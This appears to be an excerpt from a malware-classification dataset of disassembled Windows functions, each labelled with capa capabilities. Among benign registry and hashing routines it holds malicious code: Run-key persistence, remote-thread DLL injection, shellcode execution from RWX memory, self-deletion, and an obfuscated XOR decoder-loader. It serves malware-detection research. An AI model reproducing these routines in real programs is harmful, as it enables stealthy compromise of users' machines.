joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10012bc0
Capabilities:
Get file version info

Disassembly:
push ebp
lea ebp, [esp - 0x1254]
mov eax, 0x1254
call fcn.1003baf0
push 0xfffffffffffffffe
push 0x1004b680
push 0x1003b8cc
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x100530a0]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp + 0x1250], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov ecx, dword [ebp + 0x1260]
mov eax, dword [ebp + 0x1264]
xor edx, edx
mov word [ebp + 0x250], dx
push eax
push ecx
push str._s_s
lea eax, [ebp + 0x250]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp]
push eax
lea eax, [ebp + 0x250]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x10012d27
push eax
call dword [sym.imp.kernel32.dll_FindClose]
push 0
lea eax, [ebp + 0x250]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov edi, eax
test edi, edi
je 0x10012d27
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10031690
add esp, 4
mov esi, eax
mov dword [ebp - 0x24], esi
test esi, esi
je 0x10012d27
mov dword [ebp - 4], 0
push esi
push edi
push 0
lea eax, [ebp + 0x250]
push eax
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x10012d1b
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
push str.StringFileInfo040904e4ProductVersion
push esi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x10012d1b
mov ecx, dword [ebp + 0x125c]
mov eax, dword [ebp - 0x20]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x10012cf8
test dx, dx
je 0x10012cf4
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x10012cf8
add eax, 4
add ecx, 4
test dx, dx
jne 0x10012cd2
xor eax, eax
jmp 0x10012cfd
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10012d1b
push 0xfffffffffffffffe
lea eax, [ebp - 0x10]
push eax
push 0x100530a0
call sub.VCRUNTIME140.dll__local_unwind4
add esp, 0xc
mov eax, 1
jmp 0x10012d29
mov dword [ebp - 4], 0xfffffffe
call fcn.10012d4f
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x1250]
xor ecx, ebp
call fcn.1003b4ee
lea esp, [ebp + 0x1254]
pop ebp
ret
Function at 0x10016530
Capabilities:
Set registry value

Disassembly:
sub esp, 0x14
push ebp
push esi
push edi
mov edi, dword [esp + 0x28]
lea ecx, [esp + 0x14]
push 0
push 0
push dword [esp + 0x3c]
mov dword [esp + 0x20], 0
push 0
push 0
push edi
push dword [esp + 0x3c]
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0
call fcn.10006260
mov ebp, dword [esp + 0x14]
test eax, eax
jne 0x100165be
mov edx, dword [esp + 0x30]
test edx, edx
jne 0x10016584
lea esi, [edx + 0xd]
jmp 0x100166bd
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10016590
sub ecx, esi
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edx
push 1
push 0
push dword [esp + 0x3c]
push ebp
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
jmp 0x100166bd
push 0xc
call fcn.10031690
mov esi, eax
add esp, 4
test esi, esi
je 0x100165f3
push str.CreateKeyNameValuePair:_cannot_create:
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x100166d1
jmp 0x100165f5
xor esi, esi
mov dword [esp + 0x10], esi
test esi, esi
je 0x100166d1
push edi
lea ecx, [esp + 0x10]
call fcn.100032a0
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x14]
call fcn.10003700
mov esi, dword [esp + 0xc]
or edi, 0xffffffff
test esi, esi
je 0x10016663
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x10016663
mov eax, dword [esi]
test eax, eax
je 0x10016641
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10016658
push eax
call fcn.1003b898
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10031690
add esp, 8
mov esi, dword [esp + 0x10]
test esi, esi
je 0x1001666f
mov eax, dword [esi]
jmp 0x10016671
xor eax, eax
push eax
call fcn.10003ca0
add esp, 4
test esi, esi
je 0x100166bb
lock xadd dword [esi + 8], edi
dec edi
jne 0x100166bb
mov eax, dword [esi]
test eax, eax
je 0x10016699
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100166b0
push eax
call fcn.1003b898
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10031690
add esp, 8
xor esi, esi
test ebp, ebp
je 0x100166c8
push ebp
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebp
add esp, 0x14
ret
push 0x8007000e
call fcn.10031690
int3
Function at 0x100185d0
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
xor eax, eax
mov word [edi], ax
call fcn.100050f0
test eax, eax
je 0x10018615
call fcn.10031690
test eax, eax
je 0x10018607
call fcn.10005400
test eax, eax
je 0x10018607
push 0x800
push edi
call dword [sym.imp.kernel32.dll_GetSystemWow64DirectoryW]
jmp 0x10018621
push 0x800
push edi
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
jmp 0x10018621
push 0x800
push edi
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryW]
push 0xc
mov ebx, eax
call fcn.10031690
mov esi, eax
add esp, 4
test esi, esi
je 0x1001864f
push str.__get_system_dir__
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call fcn.10031690
mov dword [esi], eax
jmp 0x10018651
xor esi, esi
mov dword [esp + 0x18], esi
test esi, esi
je 0x100187d8
push 0xc
call fcn.10031690
mov esi, eax
add esp, 4
test esi, esi
je 0x1001868e
push edi
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x100187d8
jmp 0x10018690
xor esi, esi
mov dword [esp + 0x10], esi
test esi, esi
je 0x100187d8
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x1c]
call fcn.10003700
or edi, 0xffffffff
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
mov ebp, dword [sym.imp.OLEAUT32.dll_SysStringLen]
jne 0x100186ee
mov eax, dword [esi]
test eax, eax
je 0x100186cc
push eax
call ebp
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100186e3
push eax
call fcn.1003b898
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10031690
add esp, 8
push 0xc
call fcn.10031690
mov esi, eax
add esp, 4
test esi, esi
je 0x1001871a
push 0x1004214c
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call fcn.10031690
mov dword [esi], eax
jmp 0x1001871c
xor esi, esi
mov dword [esp + 0x10], esi
test esi, esi
je 0x100187d8
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x1c]
call fcn.10003700
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x10018771
mov eax, dword [esi]
test eax, eax
je 0x1001874f
push eax
call ebp
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10018766
push eax
call fcn.1003b898
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10031690
add esp, 8
mov esi, dword [esp + 0x18]
push ecx
mov eax, esp
mov dword [eax], esi
test esi, esi
je 0x10018782
lock inc dword [esi + 8]
test ebx, ebx
setne al
movzx eax, al
push eax
call fcn.100158e0
add esp, 8
test esi, esi
je 0x100187d0
lock xadd dword [esi + 8], edi
dec edi
jne 0x100187d0
mov eax, dword [esi]
test eax, eax
je 0x100187ae
push eax
call ebp
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100187c5
push eax
call fcn.1003b898
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10031690
add esp, 8
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
pop ecx
ret
push 0x8007000e
call fcn.10031690
int3
Function at 0x1002e5c0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x214
mov eax, dword [0x100530a0]
xor eax, esp
mov dword [esp + 0x210], eax
push esi
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 0x64
push eax
push 0
push 0x2021f
push 0
push 0
push 0
push str.SOFTWAREJavaSoftJava_UpdatePolicy
mov esi, 0x200
push SysReAllocString
mov dword [esp + 0x28], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1002e66c
call fcn.10030880
test eax, eax
je 0x1002e641
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x10]
push 4
push eax
call fcn.10031690
mov esi, dword [esp + 0x14]
add esp, 0x10
jmp 0x1002e649
mov eax, dword [esp + 8]
mov dword [esp + 0x14], eax
push esi
lea eax, [esp + 0x18]
push eax
push 3
push 0
push str.EnableAutoUpdateCheck
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x214]
pop esi
xor ecx, esp
call fcn.1003b4ee
add esp, 0x214
ret

Function at 0x1002e720
Capabilities:
Delete registry value

Disassembly:
push ecx
lea eax, [esp]
push eax
push 0x202
push 0
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1002e758
push str.EnableAutoUpdateCheck
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [esp]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ecx
ret

Function at 0x1002e850
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x20c
mov eax, dword [0x100530a0]
xor eax, esp
mov dword [esp + 0x208], eax
lea eax, [esp]
mov dword [esp + 4], 0x200
push eax
push 0x201
push 0
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1002e8d4
push esi
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 0
push str.ITCONFIG
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [esp + 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x1002e8d4
movzx eax, byte [esp + 8]
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.1003b4ee
add esp, 0x20c
ret
mov ecx, dword [esp + 0x208]
xor eax, eax
xor ecx, esp
call fcn.1003b4ee
add esp, 0x20c
ret
Function at 0x10030780
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
mov eax, dword [0x100530a0]
xor eax, esp
mov dword [esp + 0x20c], eax
push edi
xor edi, edi
mov dword [esp + 8], 0x200
call fcn.1002e850
test al, 0x10
jne 0x100307b1
call fcn.10030a20
test eax, eax
jne 0x100307cc
mov eax, 1
pop edi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.1003b4ee
add esp, 0x210
ret
lea eax, [esp + 4]
push eax
push 0x201
push 0
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10030855
push esi
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push str.EnableAutoUpdateCheck
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [esp + 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x10030855
mov dword [esp + 0xc], edi
call fcn.10030880
test eax, eax
je 0x10030846
push 4
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
lea eax, [esp + 0x1c]
push eax
call fcn.10031690
mov eax, dword [esp + 0x1c]
add esp, 0x10
jmp 0x1003084a
mov eax, dword [esp + 0x10]
cmp eax, 0x64
mov ecx, 1
cmove edi, ecx
mov ecx, dword [esp + 0x210]
mov eax, edi
pop edi
xor ecx, esp
call fcn.1003b4ee
add esp, 0x210
ret

Function at 0x10030880
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x118]
sub esp, 0x118
push 0xfffffffffffffffe
push 0x1004b6e0
push 0x1003b8cc
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x100530a0]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp + 0x114], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
xor edi, edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], edi
mov dword [ebp], 0x114
push pe_nt_image_headers32
push edi
lea eax, [ebp + 4]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp]
push eax
call dword [sym.imp.kernel32.dll_GetVersionExW]
cmp dword [ebp + 0x10], 2
jne 0x10030936
cmp dword [ebp + 4], 5
jb 0x10030936
mov dword [ebp - 4], edi
push str.Crypt32.dll
call fcn.10003eb0
add esp, 4
mov esi, eax
mov dword [ebp - 0x20], esi
test esi, esi
je 0x1003092a
push str.CryptProtectData
push esi
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov ecx, 1
test eax, eax
cmovne edi, ecx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 4], 0xfffffffe
call fcn.10030961
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x114]
xor ecx, ebp
call fcn.1003b4ee
lea esp, [ebp + 0x118]
pop ebp
ret
Function at 0x10031690
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1003169f
pop dword [ebp - 8]
mov eax, 0xfbefc9f5
add eax, 0x14134caa
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x87931f2d
sub dword [ebp - 0x18], 0x3940d9e2
mov dword [ebp - 0x14], 0xaffb0e38
add dword [ebp - 0x14], 0x82383e0d
mov dword [ebp - 0x10], 0x809546fa
add dword [ebp - 0x10], 0xcbb6fd34
mov dword [ebp - 0xc], 0xde62a866
sub dword [ebp - 0xc], 0xde62a866
lea eax, [ebp - 0x18]
push eax
mov eax, 0xfe72a6be
sub eax, 0xee6ec642
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xcca30022
add dword [ebp - 0x18], 0xa7cf6934
mov dword [ebp - 0x14], 0xe907a007
sub dword [ebp - 0x14], 0xa79b3e92
mov dword [ebp - 0x10], 0xa8a1776b
sub dword [ebp - 0x10], 0x45320aff
mov dword [ebp - 0xc], 0xba36e882
sub dword [ebp - 0xc], 0xba36e882
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xdb792bb5
add eax, 0x348ab4cf
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x39d4d
push 0
call eax
mov ecx, 0xb147cbfc
add ecx, 0x4eb86a15
xor esi, esi
add esi, eax
mov edx, 0xa8541fdd
sub edx, 0x984d0ddd
add edx, dword [ebp - 8]
mov ebx, 0x782a7855
xor dword [ebp - 4], 0x4dd85ecf
mov edi, dword [edx]
sub dword [ebp - 4], 0xed411d1
sub edi, ebx
xor dword [ebp - 4], edi
mov dword [esi], edi
xor dword [ebp - 4], 0xa5da09dd
add esi, 0x91cf4533
sub esi, 0x91cf452f
add edx, 4
loop 0x100317bd
add eax, 0xcb17
xor ebx, ebx
add ebx, eax
add eax, 0xa8b24489
sub eax, 0xa8b24484
mov ecx, 0xbdce9f63
sub ecx, 0xadce9f63
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x70e0130a
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegCreateKeyExA_36
sub esp, 0x24
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x11c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x70e0143f
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x70e01538
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x70e0157e
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x70e015c7
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x70e015c4
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x70e015c7
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x70e016c3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x70e0172a
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x70e01ab0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x70e0603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x70e06034]
sub esp, 4
test ebx, ebx
je 0x70e01afb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x70e01af4
test esi, esi
je 0x70e01af4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x70e01ad0
mov dword [esp], 0x70e0603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x70e01ce0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x70e0412c
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x70e01d30
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x70e01e08
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x70e01d6e
cmp eax, 4
jne 0x70e01d90
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x70e01d7e
cmp edx, 4
je 0x70e01d7e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.70e01ce0
Function at 0x406cfc
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x4378ac], 0
jne 0x406d3a
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406d10
mov dword [ecx*4 + 0x4378a8], eax
inc ecx
cmp ecx, 0x100
jl 0x406d0b
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x406d67
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x4378a8]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x406d48
not eax
pop ebp
ret 0xc

Function at 0x406da5
Capabilities:
Hash data using murmur3

Disassembly:
mov eax, dword [esp + 4]
shr eax, 0xf
xor eax, dword [esp + 4]
imul eax, eax, 0x85ebca77
mov ecx, eax
shr ecx, 0xd
xor ecx, eax
imul ecx, ecx, 0xc2b2ae3d
mov eax, ecx
shr eax, 0x10
xor eax, ecx
ret

Function at 0x40894b
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
mov eax, dword [esp]
add esp, 4
call fcn.00408972
add ebx, 1
xor dword [ecx], eax
add esi, ebx
mov ebx, 0x91394494
inc ecx
sub ebx, esi
cmp ecx, edx
jne fcn.0040894b
ret